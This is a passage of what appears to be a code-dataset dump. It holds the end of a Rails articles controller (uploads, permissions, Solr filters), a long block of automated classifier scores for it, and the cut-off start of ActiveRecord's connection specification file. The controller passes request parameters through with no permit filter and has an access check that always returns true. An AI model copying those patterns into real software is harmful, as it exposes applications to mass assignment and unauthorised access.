#{error.class}\\n\\t#{error.to_s}\\n #{error.backtrace.join(\"\\n\")}\\n\\n\"\n json_error \"Error occurred while creating file.\"\n ensure\n # remove the tempfile (only if it is a temp file)\n file.tempfile.delete if file.respond_to?(:tempfile)\n end\n\n def process_file(file)\n #Sufia::GenericFile::Actions.create_content(@article, file, file.original_filename, datastream_id, current_user)\n datastream_id = @article.mint_datastream_id()\n @article.add_file(file, datastream_id, file.original_filename)\n save_tries = 0\n begin\n @article.save!\n rescue RSolr::Error::Http => error\n logger.warn \"GenericFilesController::create_and_save_generic_file Caught RSOLR error #{error.inspect}\"\n save_tries+=1\n # fail for good if the tries is greater than 3\n raise error if save_tries >=3\n sleep 0.01\n retry\n end\n\n respond_to do |format|\n format.html {\n render :json => [@article.to_jq_upload(file.original_filename, file.size, @article.id, datastream_id)],\n :content_type => 'text/html',\n :layout => false\n }\n format.json {\n render :json => [@article.to_jq_upload(file.original_filename, file.size, @article.id, datastream_id)]\n }\n end\n rescue ActiveFedora::RecordInvalid => af\n flash[:error] = af.message\n json_error \"Error creating generic file: #{af.message}\"\n end\n\n def revoke_permissions\n authorize! :destroy, params[:id]\n if params.has_key?(:access) && params.has_key?(:name) && params.has_key?(:type)\n new_params = MetadataBuilder.new(@article).validatePermissionsToRevoke(params, @article.workflowMetadata.depositor[0])\n respond_to do |format|\n if @article.update(new_params)\n if can? :review, @article\n format.html { redirect_to edit_detailed_articles_path(@article), notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to edit_article_path(@article), notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n end\n elsif can? :review, @article\n format.html { render action: 'edit_detailed' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n elsif can? :review, @article\n format.html { render action: 'edit_detailed' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n\n def add_metadata(article_params, redirect_field)\n if !@article.workflows.nil? && !@article.workflows.first.entries.nil?\n old_status = @article.workflows.first.current_status\n else\n old_status = nil\n end\n MetadataBuilder.new(@article).build(article_params, contents, current_user.user_key)\n if old_status != @article.workflows.first.current_status\n WorkflowPublisher.new(@article).perform_action(current_user.user_key)\n end\n respond_to do |format|\n if @article.save\n if can? :review, @article\n format.html { redirect_to edit_detailed_articles_path(@article), notice: 'Article was successfully updated.', flash:{ redirect_field: redirect_field } }\n format.json { head :no_content }\n else\n format.html { redirect_to edit_article_path(@article), notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n end\n elsif can? :review, @article\n format.html { render action: 'edit_detailed' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end\n\n def contents\n files = []\n @article.content_datastreams.each do |dsid|\n files.push(@article.to_jq_upload(@article.datastreams[dsid].label, @article.datastreams[dsid].size, @article.id, dsid))\n end\n files\n end\n\n private\n def article_params\n # #params.require(:article).permit(:title, :subtitle, :description, :abstract, {:keyword => []}, :medium, :numPages, :pages, :publicationStatus, :reviewStatus, :language, :language_attributes, :workflows, :workflows_attributes, :permissions, :permissions_attributes, :subject, :scheme, :elementList, :externalAuthority, :topicElement_attributes, :topicElement, :scheme_attributes)\n # params.require(:article).permit!\n params.require(:article)\n end\n\n def set_article\n @article = Article.find(params[:id])\n end\n\n protected\n\n # Limits search results just to GenericFiles\n # @param solr_parameters the current solr parameters\n # @param user_parameters the current user-subitted parameters\n\n def exclude_unwanted_models(solr_parameters, user_parameters)\n solr_parameters[:fq] ||= []\n solr_parameters[:fq] << \"#{Solrizer.solr_name(\"has_model\", :symbol)}:\\\"info:fedora/afmodel:Article\\\"\"\n end\n\n def depositor\n # #Hydra.config[:permissions][:owner] maybe it should match this config variable, but it doesn't.\n Solrizer.solr_name('depositor', :stored_searchable, type: :string)\n end\n\n def workflow_status\n # #Hydra.config[:permissions][:owner] maybe it should match this config variable, but it doesn't.\n Solrizer.solr_name('all_workflow_statuses', :stored_searchable, type: :symbol)\n end\n\n def filter_not_mine \n \"{!lucene q.op=AND df=#{depositor}}-#{current_user.user_key}\"\n end\n\n def filter_mine\n \"{!lucene q.op=AND df=#{depositor}}#{current_user.user_key}\"\n end\n\n def filter_mine_draft\n \"{!lucene q.op=AND} #{depositor}:#{current_user.user_key} #{workflow_status}:Draft\"\n end\n\n def filter_mine_not_draft\n \"{!lucene q.op=AND} #{depositor}:#{current_user.user_key} -#{workflow_status}:Draft\"\n end\n\n def sort_field\n \"#{Solrizer.solr_name('system_create', :sortable)} desc\"\n end\n\n def has_access?\n true\n end\n\n def json_error(error, name=nil, additional_arguments={})\n args = {:error => error}\n args[:name] = name if name\n #render additional_arguments.merge({:json => [args]})\n end\n\n def empty_file?(file)\n (file.respond_to?(:tempfile) && file.tempfile.size == 0) || (file.respond_to?(:size) && file.size == 0)\n end\n\nend\n", "text_preview": "# -*- coding: utf-8 -*- # Copyright © 2012 The Pennsylvania State University # # Licensed under the Apache License, Version 2.0 (the \"License\"); # you may not use this file except in compliance with the License. # You may obtain a copy of t", "input_sha256": "de30f37a50a83857032879471e7a2a37507a1df4db4706abcfd2dacd17b23997", "text_sha256": "5bb8100b7312841de6376e685e1ba6a9d8d79e9f3e93cf51af6dd500ee4c5ad9", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16090, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": {"main_format": "Legal Notices", "sub_format": null}, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 1, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.7160949082237753, "noise_severity": 0.5924894164559865, "missing_content_severity": 0.030061105558598415, "factual_density": 3.338297857501288, "pretraining_utility": 0.4273520669834532, "math_density": 0.010586497516996071, "code_density": 3.734841260811058, "reasoning_density": 0.6252857454316524, "education_level": 2.8700602764598355, "creative_writing_quality": -0.2690534904142913}, "api_choices": {"primary": "Technical Writing", "secondary": "Legal Notices", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.6752142672595156, "secondary_choice": "Legal Notices", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9897175836863362, "secondary": 0.7658799618474471, "tertiary": 0.8417756473637878, "structured_records": 0.0051947768013500305, "procedural_steps": 0.00827977322948045, "worked_solution": 0.0011018913453373746, "contextual_dialogue": 5.953012856892234e-06, "content_quality": 0.4932120459587963, "noise_severity": 0.5810131601750712, "missing_content_severity": 0.974949078701168, "factual_density": 0.44858154791773963, "pretraining_utility": 0.40565778978888556, "math_density": 0.9911779187358366, "code_density": 0.7790343840092148, "reasoning_density": 0.47892854547362307, "education_level": 0.552949096034842, "creative_writing_quality": 0.998992094593696, "primary_topic": 0.9890122791669766, "secondary_topic": 0.8719168435585076}, "probability_margin": {"primary": 0.9824744946534949, "secondary": 0.6024809019730224, "tertiary": 0.7127772853408992, "education_level": 0.38368685173421524, "creative_writing_quality": 0.9987139811331768, "primary_topic": 0.9869202291554088, "secondary_topic": 0.8040748430021524}, "raw_probabilities": {"primary": {"Academic Writing": 3.990586659904602e-05, "Content Listing": 2.7198881043622183e-05, "Creative Writing": 1.9059896053267482e-05, "Customer Support Page": 1.0415231023683878e-05, "Q&A Forum": 1.396035872763817e-05, "Discussion Thread": 1.0010948803429887e-05, "Comment Section": 2.0012467248012685e-05, "Missing Content": 3.5148959502312696e-05, "Knowledge Article": 5.4830814368953507e-05, "Legal Notices": 0.007671523045910687, "News Article": 7.597810189302357e-06, "Organizational Announcement": 2.5639603016565538e-05, "Nonfiction Writing": 1.1574515216670735e-05, "Organizational About Page": 1.94131539317859e-05, "Personal About Page": 1.2877828235722017e-05, "Personal Blog": 9.638068759624322e-06, "Product Page": 8.155544864049716e-06, "Spam / Ads": 1.4259147190132236e-05, "Structured Data": 0.00034665115656725575, "Technical Writing": 0.9901460176994056, "Transcript / Interview": 1.822094189767872e-05, "Tutorial / How-To Guide": 9.26182456941166e-05, "User Reviews": 8.107662362986826e-06, "Other / Unknown": 0.0013771621533877336}, "secondary": {"Academic Writing": 0.0005272513910679987, "Content Listing": 0.0005508198014995368, "Creative Writing": 0.000427643607225991, "Customer Support Page": 0.00022498879133736702, "Q&A Forum": 0.00023064263590790766, "Discussion Thread": 0.00022014308541783582, "Comment Section": 0.0005399432289736532, "Missing Content": 0.0004615017621109057, "Knowledge Article": 0.000763910240718586, "Legal Notices": 0.7756349634371368, "News Article": 0.0003606313181810339, "Organizational Announcement": 0.0005122232790720359, "Nonfiction Writing": 0.0003022480601861928, "Organizational About Page": 0.0005362054762271858, "Personal About Page": 0.0002546412344449724, "Personal Blog": 0.0002037941085184925, "Product Page": 0.0002943350544504663, "Spam / Ads": 0.0002809612181439974, "Structured Data": 0.0009385003739819431, "Technical Writing": 0.04265784806541914, "Transcript / Interview": 0.00041489809267896717, "Tutorial / How-To Guide": 0.0003409073809246327, "User Reviews": 0.00016693689226021573, "NONE": 0.17315406146411436}, "tertiary": {"Academic Writing": 0.0003667296732144973, "Content Listing": 0.0003797274104047411, "Creative Writing": 0.0002821002519786719, "Customer Support Page": 0.00016541896866454898, "Q&A Forum": 0.00012078287100835523, "Discussion Thread": 0.00011467250281703995, "Comment Section": 0.0006803850428154495, "Missing Content": 0.0003558227153460918, "Knowledge Article": 0.0007258637622117687, "Legal Notices": 0.13559104338273073, "News Article": 0.00021208124003263256, "Organizational Announcement": 0.0002681290478993738, "Nonfiction Writing": 0.00020054780009044897, "Organizational About Page": 0.0003309548556778748, "Personal About Page": 0.00016737845231973506, "Personal Blog": 0.00015880144719832722, "Product Page": 0.00015541200513195176, "Spam / Ads": 0.0002505204488320053, "Structured Data": 0.0007984436910903838, "Technical Writing": 0.009340465354958168, "Transcript / Interview": 0.0002239005558803895, "Tutorial / How-To Guide": 0.0006449928860500893, "User Reviews": 9.749691001673031e-05, "NONE": 0.84836832872363}, "structured_records": {"false": 0.99480522319865, "true": 0.0051947768013500305}, "procedural_steps": {"false": 0.9917202267705195, "true": 0.00827977322948045}, "worked_solution": {"false": 0.9988981086546627, "true": 0.0011018913453373746}, "contextual_dialogue": {"false": 0.9999940469871431, "true": 5.953012856892234e-06}, "content_quality": {"-2": 0.008455986437837853, "-1": 0.051886089402890995, "0": 0.316885180193539, "1": 0.4606525174291224, "2": 0.16212022653660982}, "noise_severity": {"0": 0.455147395666964, "1": 0.5046562672436009, "2": 0.03513395249828335, "3": 0.002684294148788036, "4": 0.0023780904423637127}, "missing_content_severity": {"0": 0.9773252434823845, "1": 0.017418850719022206, "2": 0.0035547908574560545, "3": 0.0012717866398848506, "4": 0.0004293283012523875}, "factual_density": {"0": 0.006398895588487136, "1": 0.016381828058403998, "2": 0.101820886494763, "3": 0.38331930298002587, "4": 0.4920790868783201}, "pretraining_utility": {"-2": 0.009204566646737404, "-1": 0.10723937507543707, "0": 0.4008368425438557, "1": 0.4124378561155744, "2": 0.07028135961839531}, "math_density": {"0": 0.9914572706068971, "1": 0.00747493127624624, "2": 0.00046714822757656563, "3": 0.0002253297715241391, "4": 0.0003753201177560712}, "code_density": {"0": 0.0003986999996720356, "1": 0.0007817233743797335, "2": 0.017718530321691184, "3": 0.22578170842373255, "4": 0.7553193378805244}, "reasoning_density": {"0": 0.6504682891773454, "1": 0.16439670969909312, "2": 0.12110321535657738, "3": 0.03744453804853132, "4": 0.026587247718452604}, "education_level": {"none": 0.001131084581324223, "0": 0.0010970414464971233, "1": 0.003091487912126635, "2": 0.2437707282948197, "3": 0.627457580029035, "4": 0.12345207773619753}, "creative_writing_quality": {"not_applicable": 0.99916007882808, "-2": 8.82241319884378e-05, "-1": 0.00019415048681375207, "0": 0.0004460976949032025, "1": 7.828268861634821e-05, "2": 3.316616959818124e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.531211095231524e-05, "Art & Design": 9.058235835603072e-05, "Law & Crime": 0.0020871170367678313, "Education & Careers": 0.00216153341712236, "Entertainment & Media": 9.515369128605162e-05, "Fashion & Beauty": 4.1594889386280784e-05, "Business, Economics & Finance": 0.00016056818722005842, "Food & Dining": 5.430374406541573e-05, "Games & Gaming": 7.577383888230739e-05, "Electronics & Hardware": 0.00013013939212522038, "Health, Healthcare & Wellness": 4.911217156740747e-05, "History & Geography": 6.312620093309596e-05, "Home, Pets & Hobbies": 4.07042389978636e-05, "Industry & Production": 5.6452259871941506e-05, "Language, Literature & Philosophy": 0.0001541598615190212, "Politics & Government": 0.00019243501359627937, "Religion & Spirituality": 5.970319532939144e-05, "Science, Mathematics & Engineering": 0.0006198474706529829, "Relationships & Community": 4.0871579600430336e-05, "Software Usage & Applications": 0.0013390518627771908, "Programming & Software Engineering": 0.9894348838144006, "Sports & Fitness": 5.306801215331795e-05, "Vehicles & Transportation": 3.0134427570398524e-05, "Travel & Tourism": 6.598748339489994e-05, "Other / Uncovered Subject": 0.002514654658991774, "Unknown / Insufficient Content": 0.0003437290824796469}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.000551070295136243, "Art & Design": 0.0006216692771069171, "Law & Crime": 0.07276827580410497, "Education & Careers": 0.004348834013174669, "Entertainment & Media": 0.0008794106454092353, "Fashion & Beauty": 0.0002736049248331003, "Business, Economics & Finance": 0.0009732550141731688, "Food & Dining": 0.0002527626895253233, "Games & Gaming": 0.0003235839004229558, "Electronics & Hardware": 0.0005861482453881235, "Health, Healthcare & Wellness": 0.0003646258678592591, "History & Geography": 0.00036682003995720217, "Home, Pets & Hobbies": 0.00023667616968871217, "Industry & Production": 0.00024256425324669541, "Language, Literature & Philosophy": 0.0006235827394907489, "Politics & Government": 0.0009227001091942658, "Religion & Spirituality": 0.0004649434140015017, "Science, Mathematics & Engineering": 0.001240216279857808, "Relationships & Community": 0.00017287647288372394, "Software Usage & Applications": 0.008109000911618156, "Programming & Software Engineering": 0.01911036014662621, "Sports & Fitness": 0.00021518005212449535, "Vehicles & Transportation": 0.00012026642350926478, "Travel & Tourism": 0.00034610792414405925, "Other / Uncovered Subject": 0.009042345580265716, "NONE": 0.8768431188062573}}, "probabilities": {"primary": {"Academic Writing": 3.990586659904603e-05, "Content Listing": 2.7198881043622186e-05, "Creative Writing": 1.9059896053267486e-05, "Customer Support Page": 1.041523102368388e-05, "Q&A Forum": 1.3960358727638173e-05, "Discussion Thread": 1.0010948803429889e-05, "Comment Section": 2.001246724801269e-05, "Missing Content": 3.51489595023127e-05, "Knowledge Article": 5.483081436895351e-05, "Legal Notices": 0.007671523045910688, "News Article": 7.597810189302358e-06, "Organizational Announcement": 2.563960301656554e-05, "Nonfiction Writing": 1.1574515216670737e-05, "Organizational About Page": 1.9413153931785902e-05, "Personal About Page": 1.2877828235722019e-05, "Personal Blog": 9.638068759624323e-06, "Product Page": 8.155544864049718e-06, "Spam / Ads": 1.4259147190132238e-05, "Structured Data": 0.0003466511565672558, "Technical Writing": 0.9901460176994057, "Transcript / Interview": 1.8220941897678723e-05, "Tutorial / How-To Guide": 9.261824569411661e-05, "User Reviews": 8.107662362986828e-06, "Other / Unknown": 0.0013771621533877339}, "secondary": {"Academic Writing": 0.0005272513910679986, "Content Listing": 0.0005508198014995367, "Creative Writing": 0.0004276436072259909, "Customer Support Page": 0.00022498879133736697, "Q&A Forum": 0.0002306426359079076, "Discussion Thread": 0.00022014308541783576, "Comment Section": 0.0005399432289736531, "Missing Content": 0.0004615017621109056, "Knowledge Article": 0.0007639102407185858, "Legal Notices": 0.7756349634371366, "News Article": 0.00036063131818103386, "Organizational Announcement": 0.0005122232790720358, "Nonfiction Writing": 0.00030224806018619275, "Organizational About Page": 0.0005362054762271857, "Personal About Page": 0.00025464123444497234, "Personal Blog": 0.00020379410851849246, "Product Page": 0.0002943350544504662, "Spam / Ads": 0.00028096121814399737, "Structured Data": 0.0009385003739819428, "Technical Writing": 0.042657848065419134, "Transcript / Interview": 0.00041489809267896706, "Tutorial / How-To Guide": 0.00034090738092463265, "User Reviews": 0.0001669368922602157, "NONE": 0.17315406146411433}, "tertiary": {"Academic Writing": 0.0003667296732144973, "Content Listing": 0.0003797274104047411, "Creative Writing": 0.0002821002519786719, "Customer Support Page": 0.00016541896866454898, "Q&A Forum": 0.00012078287100835523, "Discussion Thread": 0.00011467250281703995, "Comment Section": 0.0006803850428154495, "Missing Content": 0.0003558227153460918, "Knowledge Article": 0.0007258637622117687, "Legal Notices": 0.13559104338273073, "News Article": 0.00021208124003263256, "Organizational Announcement": 0.0002681290478993738, "Nonfiction Writing": 0.00020054780009044897, "Organizational About Page": 0.0003309548556778748, "Personal About Page": 0.00016737845231973506, "Personal Blog": 0.00015880144719832722, "Product Page": 0.00015541200513195176, "Spam / Ads": 0.0002505204488320053, "Structured Data": 0.0007984436910903838, "Technical Writing": 0.009340465354958168, "Transcript / Interview": 0.0002239005558803895, "Tutorial / How-To Guide": 0.0006449928860500893, "User Reviews": 9.749691001673031e-05, "NONE": 0.84836832872363}, "structured_records": {"false": 0.99480522319865, "true": 0.0051947768013500305}, "procedural_steps": {"false": 0.9917202267705195, "true": 0.00827977322948045}, "worked_solution": {"false": 0.9988981086546627, "true": 0.0011018913453373746}, "contextual_dialogue": {"false": 0.9999940469871431, "true": 5.953012856892234e-06}, "content_quality": {"-2": 0.008455986437837853, "-1": 0.051886089402890995, "0": 0.316885180193539, "1": 0.4606525174291224, "2": 0.16212022653660982}, "noise_severity": {"0": 0.455147395666964, "1": 0.5046562672436009, "2": 0.03513395249828335, "3": 0.002684294148788036, "4": 0.0023780904423637127}, "missing_content_severity": {"0": 0.9773252434823845, "1": 0.017418850719022206, "2": 0.0035547908574560545, "3": 0.0012717866398848506, "4": 0.0004293283012523875}, "factual_density": {"0": 0.006398895588487136, "1": 0.016381828058403998, "2": 0.101820886494763, "3": 0.38331930298002587, "4": 0.4920790868783201}, "pretraining_utility": {"-2": 0.009204566646737406, "-1": 0.10723937507543709, "0": 0.40083684254385576, "1": 0.41243785611557443, "2": 0.07028135961839532}, "math_density": {"0": 0.9914572706068969, "1": 0.007474931276246238, "2": 0.0004671482275765655, "3": 0.00022532977152413903, "4": 0.00037532011775607107}, "code_density": {"0": 0.00039869999967203566, "1": 0.0007817233743797336, "2": 0.017718530321691187, "3": 0.22578170842373257, "4": 0.7553193378805245}, "reasoning_density": {"0": 0.6504682891773456, "1": 0.16439670969909315, "2": 0.12110321535657739, "3": 0.037444538048531324, "4": 0.026587247718452608}, "education_level": {"none": 0.0011310845813242228, "0": 0.0010970414464971231, "1": 0.003091487912126634, "2": 0.24377072829481963, "3": 0.6274575800290348, "4": 0.1234520777361975}, "creative_writing_quality": {"not_applicable": 0.9991600788280801, "-2": 8.822413198843781e-05, "-1": 0.0001941504868137521, "0": 0.00044609769490320253, "1": 7.828268861634822e-05, "2": 3.316616959818125e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.531211095231524e-05, "Art & Design": 9.058235835603072e-05, "Law & Crime": 0.0020871170367678313, "Education & Careers": 0.00216153341712236, "Entertainment & Media": 9.515369128605162e-05, "Fashion & Beauty": 4.1594889386280784e-05, "Business, Economics & Finance": 0.00016056818722005842, "Food & Dining": 5.430374406541573e-05, "Games & Gaming": 7.577383888230739e-05, "Electronics & Hardware": 0.00013013939212522038, "Health, Healthcare & Wellness": 4.911217156740747e-05, "History & Geography": 6.312620093309596e-05, "Home, Pets & Hobbies": 4.07042389978636e-05, "Industry & Production": 5.6452259871941506e-05, "Language, Literature & Philosophy": 0.0001541598615190212, "Politics & Government": 0.00019243501359627937, "Religion & Spirituality": 5.970319532939144e-05, "Science, Mathematics & Engineering": 0.0006198474706529829, "Relationships & Community": 4.0871579600430336e-05, "Software Usage & Applications": 0.0013390518627771908, "Programming & Software Engineering": 0.9894348838144006, "Sports & Fitness": 5.306801215331795e-05, "Vehicles & Transportation": 3.0134427570398524e-05, "Travel & Tourism": 6.598748339489994e-05, "Other / Uncovered Subject": 0.002514654658991774, "Unknown / Insufficient Content": 0.0003437290824796469}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005510702951362431, "Art & Design": 0.0006216692771069172, "Law & Crime": 0.07276827580410498, "Education & Careers": 0.00434883401317467, "Entertainment & Media": 0.0008794106454092355, "Fashion & Beauty": 0.00027360492483310034, "Business, Economics & Finance": 0.000973255014173169, "Food & Dining": 0.00025276268952532336, "Games & Gaming": 0.0003235839004229559, "Electronics & Hardware": 0.0005861482453881237, "Health, Healthcare & Wellness": 0.00036462586785925916, "History & Geography": 0.0003668200399572022, "Home, Pets & Hobbies": 0.0002366761696887122, "Industry & Production": 0.00024256425324669544, "Language, Literature & Philosophy": 0.000623582739490749, "Politics & Government": 0.0009227001091942659, "Religion & Spirituality": 0.00046494341400150175, "Science, Mathematics & Engineering": 0.0012402162798578083, "Relationships & Community": 0.00017287647288372396, "Software Usage & Applications": 0.008109000911618158, "Programming & Software Engineering": 0.019110360146626214, "Sports & Fitness": 0.00021518005212449538, "Vehicles & Transportation": 0.0001202664235092648, "Travel & Tourism": 0.0003461079241440593, "Other / Uncovered Subject": 0.009042345580265718, "NONE": 0.8768431188062574}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 12207, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 12207, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:09.608545+00:00", "scoring_key_slot": "primary", "dataset_uid": "1855c919-38f2-454c-9295-3cff6b38b8e7", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "cc52c47d6a1449a5701d6e41120a6151646f02e78e9b7f289ea256d44c7719ae", "source_metadata": {"uuid": "1855c919-38f2-454c-9295-3cff6b38b8e7", "repo_name": "anusharanganathan/oraingest", "relative_path": "app/controllers/articles_controller.rb", "category": "WEB", "algo_rel_score": 0.9885759949684143, "quality_score": 3.79372239112854, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 865, "repo_created_at": "2013-03-27T16:21:11.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 5, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "a458968adf94e526c601e62ef545d0d51791a4d2", "size_bytes": 14514, "file_timestamp": 1433952288, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "57ece9ca72da7e06a114961553bbd69d72c3f1ad"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 865, "repo_created_at": "2013-03-27T16:21:11.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 5, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "a458968adf94e526c601e62ef545d0d51791a4d2", "size_bytes": 14514, "file_timestamp": 1433952288, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "57ece9ca72da7e06a114961553bbd69d72c3f1ad", "url": "https://github.com/anusharanganathan/oraingest/blob/57ece9ca72da7e06a114961553bbd69d72c3f1ad/app/controllers/articles_controller.rb"}, "gpt4o_tokens": 3551, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.7160949082237753, "noise_severity": 0.5924894164559865, "missing_content_severity": 0.030061105558598415, "factual_density": 3.338297857501288, "pretraining_utility": 0.4273520669834532, "math_density": 0.010586497516996073, "code_density": 3.734841260811058, "reasoning_density": 0.6252857454316524, "education_level": 2.8700602764598355, "creative_writing_quality": -0.2690534904142913}, "score_applicability": {"education_level": 0.9988689154186757, "creative_writing_quality": 0.000839921171919922}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/phracker/MacOSX-SDKs/blob/041600eda65c6a668f66cb7d56b7d1da3e8bcc93/MacOSX10.6.sdk/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/gems/1.8/gems/activerecord-2.3.5/lib/active_record/connection_adapters/abstract/connection_specification.rb", "id": "ruby-0-7c2937a7e92d6696b5a581585655dbe3", "text": "module ActiveRecord\n class Base\n class ConnectionSpecification #:nodoc:\n attr_reader :config, :adapter_method\n def initialize (config, adapter_method)\n @config, @adapter_method = config, adapter_method\n end\n end\n\n ##\n # :singleton-method:\n # The connection handler\n cattr_accessor :connection_handler, :instance_writer => false\n @@connection_handler = ConnectionAdapters::ConnectionHandler.new\n\n # Returns the connection currently associated with the class. This can\n # also be used to \"borrow\" the connection to do database work that isn't\n # easily done without going straight to SQL.\n def connection\n self.class.connection\n end\n\n # Establishes the connection to the database. Accepts a hash as input where\n # the :adapter key must be specified with the name of a database adapter (in lower-case)\n # example for regular databases (MySQL, Postgresql, etc):\n #\n # ActiveRecord::Base.establish_connection(\n # :adapter => \"mysql\",\n # :host => \"localhost\",\n # :username => \"myuser\",\n # :password => \"\",\n # :database => \"somedatabase\"\n # )\n #\n # Example for SQLite database:\n #\n # ActiveRecord::Base.establish_connection(\n # :adapter => \"sqlite\",\n # :database => \"path/to/dbfile\"\n # )\n #\n # Also accepts keys as strings (for parsing from YAML for example):\n #\n # ActiveRecord::Base.establish_connection(\n # \"adapter\" => \"sqlite\",\n # \"database\" => \"path/to/dbfile\"\n # )\n #\n # The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError\n # may be returned on an error.\n def self.establish_connection(spec = nil)\n case spec\n when nil\n raise AdapterNotSpecified unless defined? RAILS_ENV\n establish_connection(RAILS_ENV)\n when ConnectionSpecification\n @@connection_handler.establish_connection(name, spec)\n when Symbol, String\n if configuration = configurations[spec.to_s]\n establish_connection(configuration)\n else\n raise AdapterNotSpecified, \"#{spec} database is not configured\"\n end\n else\n spec = spec.symbolize_keys\n unless spec.key?(:adapter) then raise AdapterNotSpecified, \"database configuration does not specify adapter\" end\n\n begin\n require 